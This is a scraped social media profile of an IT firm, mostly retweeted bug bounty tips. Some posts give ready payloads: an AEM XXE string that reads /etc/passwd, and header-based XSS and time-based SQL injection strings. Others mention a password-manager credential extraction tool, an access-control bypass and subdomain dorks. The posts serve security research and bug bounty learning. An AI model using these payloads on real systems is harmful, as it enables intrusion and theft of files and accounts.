NXTLSolutions: Elevating your business with IT services, cybersecurity, AI, and digital solutions. Secure, innovate, and grow with cutting-edge tech. 🚀💡
Business Bay, Dubai, UAE
Joined October 2024
- Tweets63
- Following41
- Followers13
- Likes33
NXTL Solutions retweeted
[+] #BugbountyTip Take your time, Do Not Rush!
Using GAU I found cached tokens lacking proper expiration. This misconfiguration resulted in unauthorized access to multiple user accounts! Need for secure token lifecycle management yeah? ;) #AEMSecurity #Bugbountytips
NXTL Solutions retweeted
AEM guideContainer XXE?
guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f><!DOCTYPE+afData+[<!ENTITY+a+SYSTEM+\"file%3a///etc/passwd\">]><afData>%26a%3b</afData>"}}}
#AEMSecurity
NXTL Solutions retweeted
🔓 1.6 Million WordPress Logins - Data Leak Exposed
A leak of 1.6 million WordPress login credentials, including usernames and passwords, has surfaced on the dark web. The compromised data increases the risk of unauthorized access to websites, identity theft, and potential exploitation of vulnerable sites. This breach highlights the need for stronger security measures, such as using unique, complex passwords and enabling multi-factor authentication for WordPress users.
#WordPress #DataBreach #CyberSecurity #DarkWeb #LoginCredentials #PasswordLeak
NXTL Solutions retweeted
URLFinder has just landed in the Trickest Library 🚀
URLFinder brings high-speed, passive URL discovery tool to your custom automation workflows:
🔹 Passive source discovery
🔹 JSON/file/stdout output
🔹 Optimized speed & efficiency
github.com/projectdiscovery/…
NXTL Solutions retweeted
Header based injection:
X-Forwarded-Host: evil.com"><img src/onerror=prompt(document.cookie)>
X-Forwarded-Host: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
Referer: site.com/'+(select*from(select(sleep(10)))a)+'
Cookie: 'XOR(if(now()=sysdate(),sleep(10),0))XOR'
User-Agent: "XOR(if(now()=sysdate(),sleep(10),0))XOR"
NXTL Solutions retweeted
pandora: A red team tool to extract credentials from password managers meterpreter.org/pandora-a-re…
NXTL Solutions retweeted
[+] FIlter bypass techniques:
Sometimes you can do amazing things just by appending /? to bypass access control restrictions ;)
#AEMSecurity #FilterBypass #bugbountytips #bugbountytip
NXTL Solutions retweeted
[+] Using Google dorks for unique subdomains?
Try this:
site:*-*-*.yourtarget.com
site:*-*.*.yourtarget.com
site:*.*.*.yourtarget.com
#bugbountytips
#bugbountytip
#AEMSecurity
